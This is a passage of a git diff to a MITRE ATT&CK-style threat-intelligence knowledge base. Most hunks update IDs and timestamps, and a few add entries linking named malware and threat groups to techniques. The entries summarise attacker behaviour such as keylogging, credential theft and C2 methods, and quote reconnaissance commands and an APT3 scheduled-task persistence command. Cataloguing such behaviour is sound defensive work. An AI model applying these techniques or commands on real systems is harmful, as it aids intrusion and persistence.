+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors have split RAR files for exfiltration into parts.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--0b823cda-4775-4690-9ea6-02bbaa3522a1.json b/enterprise-attack/relationship/relationship--0b823cda-4775-4690-9ea6-02bbaa3522a1.json
index 90baab105b..c4e546fec8 100644
--- a/enterprise-attack/relationship/relationship--0b823cda-4775-4690-9ea6-02bbaa3522a1.json
+++ b/enterprise-attack/relationship/relationship--0b823cda-4775-4690-9ea6-02bbaa3522a1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--67e416fd-14a3-4e6e-a2f8-a74c069520ce",
+    "id": "bundle--ae50e265-3a35-4c42-afdd-1f36b0bc4ed4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0b823cda-4775-4690-9ea6-02bbaa3522a1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Duqu can track key presses with a keylogger module.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--0bc1693e-d481-46d7-bd62-3ed6884986d2.json b/enterprise-attack/relationship/relationship--0bc1693e-d481-46d7-bd62-3ed6884986d2.json
index 93a13811b0..c37cb6528c 100644
--- a/enterprise-attack/relationship/relationship--0bc1693e-d481-46d7-bd62-3ed6884986d2.json
+++ b/enterprise-attack/relationship/relationship--0bc1693e-d481-46d7-bd62-3ed6884986d2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6ad8856a-ef4c-48cd-b1c6-e2db7a8a4219",
+    "id": "bundle--41fd04ab-69cc-4594-ae45-669eff40fb54",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0bc1693e-d481-46d7-bd62-3ed6884986d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.023Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--aaa92b37-f96c-4a0a-859c-b1cb6faeb13d",
             "target_ref": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228",
diff --git a/enterprise-attack/relationship/relationship--0bd2ee1a-6202-4ff5-9a42-4869a276a92c.json b/enterprise-attack/relationship/relationship--0bd2ee1a-6202-4ff5-9a42-4869a276a92c.json
new file mode 100644
index 0000000000..3d80feff64
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--0bd2ee1a-6202-4ff5-9a42-4869a276a92c.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--6785e8d1-cd80-48e4-889f-5e198bf63045",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--0bd2ee1a-6202-4ff5-9a42-4869a276a92c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER may collect network configuration data by running <code>ipconfig /all</code> on a victim.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--0bd9fd2b-e2f7-48f1-8988-31c041691585.json b/enterprise-attack/relationship/relationship--0bd9fd2b-e2f7-48f1-8988-31c041691585.json
index 51d1db68b8..3a704932d4 100644
--- a/enterprise-attack/relationship/relationship--0bd9fd2b-e2f7-48f1-8988-31c041691585.json
+++ b/enterprise-attack/relationship/relationship--0bd9fd2b-e2f7-48f1-8988-31c041691585.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--43117287-e04e-4e33-b5cb-1486c95c9ce7",
+    "id": "bundle--64c4e70e-aec0-449f-80ad-16b8d197778d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0bd9fd2b-e2f7-48f1-8988-31c041691585",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Trojan.Karagany can take a desktop screenshot and save the file into <code>\\ProgramData\\Mail\\MailAg\\shot.png</code>.",
             "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
diff --git a/enterprise-attack/relationship/relationship--0c03f2b4-a752-4d74-9c26-5306132a3329.json b/enterprise-attack/relationship/relationship--0c03f2b4-a752-4d74-9c26-5306132a3329.json
new file mode 100644
index 0000000000..3c6e958624
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--0c03f2b4-a752-4d74-9c26-5306132a3329.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--cf3464d2-7350-4c2c-b4ed-4ea2afb69886",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--0c03f2b4-a752-4d74-9c26-5306132a3329",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has run <code>hostname</code> and <code>systeminfo</code> on a victim.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto OilRig May 2016",
+                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
+                },
+                {
+                    "source_name": "Palo Alto OilRig Oct 2016",
+                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
+                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--0c0b4142-96e7-440b-a01f-f2bda05649b1.json b/enterprise-attack/relationship/relationship--0c0b4142-96e7-440b-a01f-f2bda05649b1.json
index 0a741eae4d..493e291b0e 100644
--- a/enterprise-attack/relationship/relationship--0c0b4142-96e7-440b-a01f-f2bda05649b1.json
+++ b/enterprise-attack/relationship/relationship--0c0b4142-96e7-440b-a01f-f2bda05649b1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--567eb4e7-b08a-4eb7-947d-738a017e72a8",
+    "id": "bundle--c6e5f24d-9fda-4dfe-94f3-be3232cd9a65",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0c0b4142-96e7-440b-a01f-f2bda05649b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A BlackEnergy 2  plug-in uses WMI to gather victim host details.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Securelist BlackEnergy Feb 2015",
                     "description": "Baumgartner, K. and Garnaeva, M.. (2015, February 17). BE2 extraordinary plugins, Siemens targeting, dev fails. Retrieved March 24, 2016.",
-                    "url": "https://securelist.com/blog/research/68838/be2-extraordinary-plugins-siemens-targeting-dev-fails/"
+                    "url": "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--0c143634-89e1-47a0-9044-4ca39ccff76a.json b/enterprise-attack/relationship/relationship--0c143634-89e1-47a0-9044-4ca39ccff76a.json
index bab0106088..bf8a44945a 100644
--- a/enterprise-attack/relationship/relationship--0c143634-89e1-47a0-9044-4ca39ccff76a.json
+++ b/enterprise-attack/relationship/relationship--0c143634-89e1-47a0-9044-4ca39ccff76a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--308ff9e0-1462-4ec4-9fcc-26d395703768",
+    "id": "bundle--0108cf77-ae82-488b-82c4-490dc12cdadd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0c143634-89e1-47a0-9044-4ca39ccff76a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A version of XTunnel introduced in July 2015 inserted junk code into the binary in a likely attempt to obfuscate it and bypass security products.",
             "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
diff --git a/enterprise-attack/relationship/relationship--0c2ba74b-a5b0-493c-84f3-41b6131070a0.json b/enterprise-attack/relationship/relationship--0c2ba74b-a5b0-493c-84f3-41b6131070a0.json
new file mode 100644
index 0000000000..7e47da0da7
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--0c2ba74b-a5b0-493c-84f3-41b6131070a0.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--2d80a067-a493-4a3a-b955-6039ef50d10e",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--0c2ba74b-a5b0-493c-84f3-41b6131070a0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--95c29444-49f9-49f7-8b20-bcd68d8fcaa6",
+            "target_ref": "attack-pattern--4bf5845d-a814-4490-bc5c-ccdee6043025",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--0c56b369-b665-4001-87ff-d27ae135cc64.json b/enterprise-attack/relationship/relationship--0c56b369-b665-4001-87ff-d27ae135cc64.json
index c7955f7f35..c8d98f107a 100644
--- a/enterprise-attack/relationship/relationship--0c56b369-b665-4001-87ff-d27ae135cc64.json
+++ b/enterprise-attack/relationship/relationship--0c56b369-b665-4001-87ff-d27ae135cc64.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--eddf62ea-da7f-4bfa-87ba-5ce79fe54925",
+    "id": "bundle--d4a51e91-1e6b-4877-9905-b281a0c8a386",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0c56b369-b665-4001-87ff-d27ae135cc64",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pisloader uses cmd.exe to set the Registry Run key value. It also has a command to spawn a command shell.",
             "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
diff --git a/enterprise-attack/relationship/relationship--0c78e3a7-45c5-454f-8905-a831fbede841.json b/enterprise-attack/relationship/relationship--0c78e3a7-45c5-454f-8905-a831fbede841.json
index 699ed8b1f8..daa3a609f0 100644
--- a/enterprise-attack/relationship/relationship--0c78e3a7-45c5-454f-8905-a831fbede841.json
+++ b/enterprise-attack/relationship/relationship--0c78e3a7-45c5-454f-8905-a831fbede841.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f52d1109-1bf3-4ef4-a82a-0e3efba2ed3e",
+    "id": "bundle--fe7b4bcf-e40c-4361-8431-dce5d3aeb122",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0c78e3a7-45c5-454f-8905-a831fbede841",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TRINITY malware used by FIN6 encodes data gathered from the victim with a simple substitution cipher and single-byte XOR using the OxAA key.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--0c870326-6b8a-4279-bbd3-2c1ae23ba54a.json b/enterprise-attack/relationship/relationship--0c870326-6b8a-4279-bbd3-2c1ae23ba54a.json
index a948871b70..b58fe4b368 100644
--- a/enterprise-attack/relationship/relationship--0c870326-6b8a-4279-bbd3-2c1ae23ba54a.json
+++ b/enterprise-attack/relationship/relationship--0c870326-6b8a-4279-bbd3-2c1ae23ba54a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1fb98445-a9a1-40cf-a090-6928614689ab",
+    "id": "bundle--fadaf07d-26ab-47d6-9ff8-b9f982a7cf6c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0c870326-6b8a-4279-bbd3-2c1ae23ba54a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BADNEWS can use multiple C2 channels, including RSS feeds, Github, forums, and blogs.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--0ca1948b-476c-4ff5-a792-f3790250bdc1.json b/enterprise-attack/relationship/relationship--0ca1948b-476c-4ff5-a792-f3790250bdc1.json
index df5f2573f6..4805674c65 100644
--- a/enterprise-attack/relationship/relationship--0ca1948b-476c-4ff5-a792-f3790250bdc1.json
+++ b/enterprise-attack/relationship/relationship--0ca1948b-476c-4ff5-a792-f3790250bdc1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0099e056-1ed9-4d29-a40a-a16650af5928",
+    "id": "bundle--4a7ba25b-37a5-4e5f-adae-25c914897232",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0ca1948b-476c-4ff5-a792-f3790250bdc1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "An APT3 downloader creates persistence by creating the following scheduled task: <code>schtasks /create /tn \"mysc\" /tr C:\\Users\\Public\\test.exe /sc ONLOGON /ru \"System\"</code>.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
diff --git a/enterprise-attack/relationship/relationship--0cbc1f3f-7a32-4056-bfa6-25186ac5e6a4.json b/enterprise-attack/relationship/relationship--0cbc1f3f-7a32-4056-bfa6-25186ac5e6a4.json
index 74785b75bc..de24a872c9 100644
--- a/enterprise-attack/relationship/relationship--0cbc1f3f-7a32-4056-bfa6-25186ac5e6a4.json
+++ b/enterprise-attack/relationship/relationship--0cbc1f3f-7a32-4056-bfa6-25186ac5e6a4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cde412ec-a01b-48fa-bdf0-300b7c43a6e0",
+    "id": "bundle--8a3b96eb-d952-45f5-873d-0edc623a2bc0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0cbc1f3f-7a32-4056-bfa6-25186ac5e6a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "StreamEx has the ability to enumerate processes.",
             "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
diff --git a/enterprise-attack/relationship/relationship--0cde085d-12ca-4cde-a99c-c37d63d7dc2e.json b/enterprise-attack/relationship/relationship--0cde085d-12ca-4cde-a99c-c37d63d7dc2e.json
index eaa98aafba..6e4e17b3fc 100644
--- a/enterprise-attack/relationship/relationship--0cde085d-12ca-4cde-a99c-c37d63d7dc2e.json
+++ b/enterprise-attack/relationship/relationship--0cde085d-12ca-4cde-a99c-c37d63d7dc2e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--df877eee-1f19-4e4c-b11f-8a36722765f9",
+    "id": "bundle--3b45d1a9-8afa-4b83-81f7-c80ea79d1866",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0cde085d-12ca-4cde-a99c-c37d63d7dc2e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.059Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45",
             "target_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d",
diff --git a/enterprise-attack/relationship/relationship--0d0b4507-b600-41f1-be98-03909e5d99cf.json b/enterprise-attack/relationship/relationship--0d0b4507-b600-41f1-be98-03909e5d99cf.json
index eeb101c56a..d84399f7fa 100644
--- a/enterprise-attack/relationship/relationship--0d0b4507-b600-41f1-be98-03909e5d99cf.json
+++ b/enterprise-attack/relationship/relationship--0d0b4507-b600-41f1-be98-03909e5d99cf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d7a1105d-4855-4c79-8a11-6261c7e3a994",
+    "id": "bundle--40c6ed39-b3fa-4d49-abb0-844df049b5e5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0d0b4507-b600-41f1-be98-03909e5d99cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can attempt to run the program as admin, then show a fake error message and a legitimate UAC bypass prompt to the user in an attempt to socially engineer the user into escalating privileges.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--0d2a66c5-fb8e-4cbb-9526-579b5c9c881c.json b/enterprise-attack/relationship/relationship--0d2a66c5-fb8e-4cbb-9526-579b5c9c881c.json
index 88b7295d83..e752cbc57c 100644
--- a/enterprise-attack/relationship/relationship--0d2a66c5-fb8e-4cbb-9526-579b5c9c881c.json
+++ b/enterprise-attack/relationship/relationship--0d2a66c5-fb8e-4cbb-9526-579b5c9c881c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--585950ac-0c8d-41d0-829b-8574de85d668",
+    "id": "bundle--eb5ac442-669f-49c9-957a-e2182a76a5a4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0d2a66c5-fb8e-4cbb-9526-579b5c9c881c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 gathers and beacons the system time during installation.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
diff --git a/enterprise-attack/relationship/relationship--0d328be7-85d2-4558-a4e3-cc5ce8bc7e2e.json b/enterprise-attack/relationship/relationship--0d328be7-85d2-4558-a4e3-cc5ce8bc7e2e.json
index 0af6551e09..da50192c36 100644
--- a/enterprise-attack/relationship/relationship--0d328be7-85d2-4558-a4e3-cc5ce8bc7e2e.json
+++ b/enterprise-attack/relationship/relationship--0d328be7-85d2-4558-a4e3-cc5ce8bc7e2e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b5be3636-4008-42be-b5ca-d7d0c3d6afb7",
+    "id": "bundle--491e80dc-c17d-46ff-8f54-52ebca1f0ef0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0d328be7-85d2-4558-a4e3-cc5ce8bc7e2e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can perform keylogging.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--0d3e115b-ff08-4bff-8802-be3d21cec68f.json b/enterprise-attack/relationship/relationship--0d3e115b-ff08-4bff-8802-be3d21cec68f.json
index 67c181c59c..62ec11edc7 100644
--- a/enterprise-attack/relationship/relationship--0d3e115b-ff08-4bff-8802-be3d21cec68f.json
+++ b/enterprise-attack/relationship/relationship--0d3e115b-ff08-4bff-8802-be3d21cec68f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--01647b8b-c11c-4e6a-b50a-3b6dd231edf8",
+    "id": "bundle--300b6b14-a606-4136-848e-df1a4dbdce33",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0d3e115b-ff08-4bff-8802-be3d21cec68f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka encrypts some C2 traffic with the Blowfish cipher.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--0d43f3a7-70ed-4d04-857e-3a9fbce86cfb.json b/enterprise-attack/relationship/relationship--0d43f3a7-70ed-4d04-857e-3a9fbce86cfb.json
index 00937cfde9..93bbb5c4c1 100644
--- a/enterprise-attack/relationship/relationship--0d43f3a7-70ed-4d04-857e-3a9fbce86cfb.json
+++ b/enterprise-attack/relationship/relationship--0d43f3a7-70ed-4d04-857e-3a9fbce86cfb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--38cb8c7e-029e-451f-8688-e1269284b67a",
+    "id": "bundle--5ff4abf7-ad82-4803-9046-e8705221c47f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0d43f3a7-70ed-4d04-857e-3a9fbce86cfb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy, and finally injecting code into a running browser if the proxy method fails.",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--0d4e8cb8-c265-449a-b010-f4614135572f.json b/enterprise-attack/relationship/relationship--0d4e8cb8-c265-449a-b010-f4614135572f.json
index 9f62086ceb..b5019290e6 100644
--- a/enterprise-attack/relationship/relationship--0d4e8cb8-c265-449a-b010-f4614135572f.json
+++ b/enterprise-attack/relationship/relationship--0d4e8cb8-c265-449a-b010-f4614135572f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--22cbc603-5652-4c82-b888-84323025636a",
+    "id": "bundle--4effc11a-2da3-4cad-ba69-658fa9fb4cc3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0d4e8cb8-c265-449a-b010-f4614135572f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 dumps usernames and passwords from Firefox, Internet Explorer, and Outlook.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
diff --git a/enterprise-attack/relationship/relationship--0d63f3cf-bace-4210-9b76-199c5cdb8764.json b/enterprise-attack/relationship/relationship--0d63f3cf-bace-4210-9b76-199c5cdb8764.json
index bfaae8e81d..e50908cb52 100644
--- a/enterprise-attack/relationship/relationship--0d63f3cf-bace-4210-9b76-199c5cdb8764.json
+++ b/enterprise-attack/relationship/relationship--0d63f3cf-bace-4210-9b76-199c5cdb8764.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d5b04662-e3b4-4bb8-a308-b2df1d20295a",
+    "id": "bundle--c3d28231-ac53-4be9-b646-f239159e3ecf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0d63f3cf-bace-4210-9b76-199c5cdb8764",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.074Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Stealth Falcon malware uses PowerShell and WMI to script data collection and command execution on the victim.",
             "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
diff --git a/enterprise-attack/relationship/relationship--0d889b2d-eda4-45dc-99bf-c530b7d4b05f.json b/enterprise-attack/relationship/relationship--0d889b2d-eda4-45dc-99bf-c530b7d4b05f.json
index 556791fd7b..6371ee9f93 100644
--- a/enterprise-attack/relationship/relationship--0d889b2d-eda4-45dc-99bf-c530b7d4b05f.json
+++ b/enterprise-attack/relationship/relationship--0d889b2d-eda4-45dc-99bf-c530b7d4b05f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dccc2e4d-9244-470f-b85f-f72515d4eedb",
+    "id": "bundle--19cffd85-c90a-4775-84f7-98edceeaec4d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0d889b2d-eda4-45dc-99bf-c530b7d4b05f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used tcping.exe, similar to Ping, to probe port status on systems of interest.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--0d8aa058-426a-45c9-af5b-898746ae5862.json b/enterprise-attack/relationship/relationship--0d8aa058-426a-45c9-af5b-898746ae5862.json
index 35de939a86..0f4e4e44a5 100644
--- a/enterprise-attack/relationship/relationship--0d8aa058-426a-45c9-af5b-898746ae5862.json
+++ b/enterprise-attack/relationship/relationship--0d8aa058-426a-45c9-af5b-898746ae5862.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2a1172e7-741f-4fd5-9145-39c463224a95",
+    "id": "bundle--aed09eda-9a09-4e12-94ae-cb9fc8d2d402",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0d8aa058-426a-45c9-af5b-898746ae5862",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
